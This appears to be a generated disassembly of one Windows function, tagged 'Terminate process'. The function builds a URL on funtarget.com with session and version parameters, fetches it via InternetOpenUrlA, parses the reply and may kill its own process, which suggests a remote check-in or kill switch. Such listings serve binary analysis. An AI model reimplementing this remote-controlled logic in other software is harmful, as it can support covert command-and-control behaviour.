Function at 0x4104d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42ee8c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x834
push ebx
push ebp
push esi
push edi
push 1
push ecx
call fcn.004074d0
add esp, 4
push eax
push str.http:__funtarget.com_t__m
lea eax, [esp + 0x44c]
push str._sid_sver_d
push eax
call fcn.0041bec6
mov edx, dword [0x43c2f8]
add esp, 0x14
xor ebp, ebp
push ebp
push 0x80000000
push 0xffffffffffffffff
push ebp
lea ecx, [esp + 0x450]
push ecx
push edx
mov dword [esp + 0x3c], 0x400
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebp
je 0x410568
lea eax, [esp + 0x24]
push eax
push esi
lea eax, [esp + 0x48]
call fcn.00407ba0
add esp, 8
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp edi, ebp
jne 0x410580
xor al, al
mov ecx, dword [esp + 0x844]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x24]
push ebp
sub esp, 0x1c
mov byte [esp + ecx + 0x60], 0
mov ecx, esp
mov dword [esp + 0x44], esp
push 1
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
push 0x431e74
mov byte [ecx + 4], 0
call fcn.004025b0
sub esp, 0x1c
mov dword [esp + 0x888], ebp
mov ecx, esp
lea eax, [esp + 0x7c]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
mov dword [esp + 0x4c], esp
mov byte [ecx + 4], 0
lea esi, [eax + 1]
nop
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4105d0
sub eax, esi
push eax
lea edx, [esp + 0x80]
push edx
call fcn.004025b0
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x88c], 0xffffffff
call fcn.00407630
add esp, 0x40
mov dword [esp + 0x84c], 1
call fcn.00403c40
mov esi, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
cmp esi, eax
jbe 0x410626
call fcn.0041c09d
mov eax, dword [esp + 0x30]
mov ebx, esi
cmp dword [esp + 0x2c], eax
mov dword [esp + 0x3c], ebx
mov esi, eax
jbe 0x410639
call fcn.0041c09d
cmp ebx, esi
je 0x410908
push 1
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 1
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
push 0x436e14
mov byte [ecx + 4], 0
call fcn.004025b0
mov byte [esp + 0x86c], 2
cmp ebx, dword [esp + 0x50]
jb 0x410675
call fcn.0041c09d
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x60], esp
push 0xffffffffffffffff
push ebp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebp
push ebx
mov byte [ecx + 4], 0
call fcn.004023e0
lea ecx, [esp + 0x50]
push ecx
mov byte [esp + 0x88c], 1
call fcn.00407630
add esp, 0x40
mov byte [esp + 0x84c], 3
mov esi, dword [esp + 0x18]
cmp esi, ebp
je 0x4106d3
mov edi, dword [esp + 0x1c]
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4106e0
call fcn.0041c09d
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
mov ebp, dword [esi + 0x14]
mov eax, ebp
cmp eax, ebp
jae 0x4106e9
cmp ebp, 1
mov eax, ebp
jb 0x4106f5
mov eax, 1
cmp dword [esi + 0x18], 0x10
jb 0x410700
mov edx, dword [esi + 4]
jmp 0x410703
lea edx, [esi + 4]
mov ecx, 0x436e18
call fcn.00403680
test eax, eax
jne 0x4107f0
cmp ebp, 1
jb 0x4107f0
cmp ebp, 1
setne al
test eax, eax
jne 0x4107f0
sub edi, esi
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x41074f
call fcn.0041c09d
mov esi, dword [esp + 0x18]
mov edi, 0x10
cmp dword [esi + 0x34], edi
jb 0x41075e
mov esi, dword [esi + 0x20]
jmp 0x410761
add esi, 0x20
push esi
call fcn.0041bf6e
add esp, 4
cmp eax, 1
jbe 0x4108ac
mov esi, dword [esp + 0x18]
test esi, esi
je 0x410799
mov ecx, dword [esp + 0x1c]
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
ja 0x4107a2
call fcn.0041c09d
mov esi, dword [esp + 0x18]
cmp dword [esi + 0x50], edi
jb 0x4107ac
mov esi, dword [esi + 0x3c]
jmp 0x4107af
add esi, 0x3c
push esi
call fcn.004102c0
add esp, 4
push 0x43c258
mov byte [0x43c270], 1
call dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
call fcn.00403bc0
mov ecx, dword [0x43c2fc]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x4108ac
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
ja 0x410819
call fcn.0041c09d
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
cmp dword [esi + 0x50], 0x10
jb 0x410824
mov ebx, dword [esi + 0x3c]
jmp 0x410827
lea ebx, [esi + 0x3c]
test esi, esi
je 0x410847
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x410854
call fcn.0041c09d
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
cmp dword [esi + 0x34], 0x10
jb 0x41085f
mov ebp, dword [esi + 0x20]
jmp 0x410862
lea ebp, [esi + 0x20]
test esi, esi
je 0x41087d
sub edi, esi
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x410886
call fcn.0041c09d
mov esi, dword [esp + 0x18]
cmp dword [esi + 0x18], 0x10
jb 0x410891
mov esi, dword [esi + 4]
jmp 0x410894
add esi, 4
push ebx
push ebp
call fcn.0041bf6e
add esp, 4
push eax
push esi
call fcn.004038d0
mov ebx, dword [esp + 0x48]
add esp, 0xc
mov byte [esp + 0x84c], 1
mov eax, dword [esp + 0x18]
xor esi, esi
cmp eax, esi
je 0x4108dc
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x1c]
push ecx
call fcn.00403000
mov edx, dword [esp + 0x1c]
add esp, 4
push edx
call fcn.0041c141
add esp, 4
mov eax, dword [esp + 0x30]
cmp ebx, eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
jb 0x4108f9
call fcn.0041c09d
mov eax, dword [esp + 0x30]
add ebx, 0x1c
xor ebp, ebp
mov edi, 0xf
jmp 0x410628
call fcn.00403ac0
mov eax, dword [esp + 0x2c]
cmp eax, ebp
je 0x410933
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x30]
push ecx
call fcn.00403000
mov edx, dword [esp + 0x30]
add esp, 4
push edx
call fcn.0041c141
add esp, 4
mov ecx, dword [esp + 0x844]
pop edi
mov al, 1
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret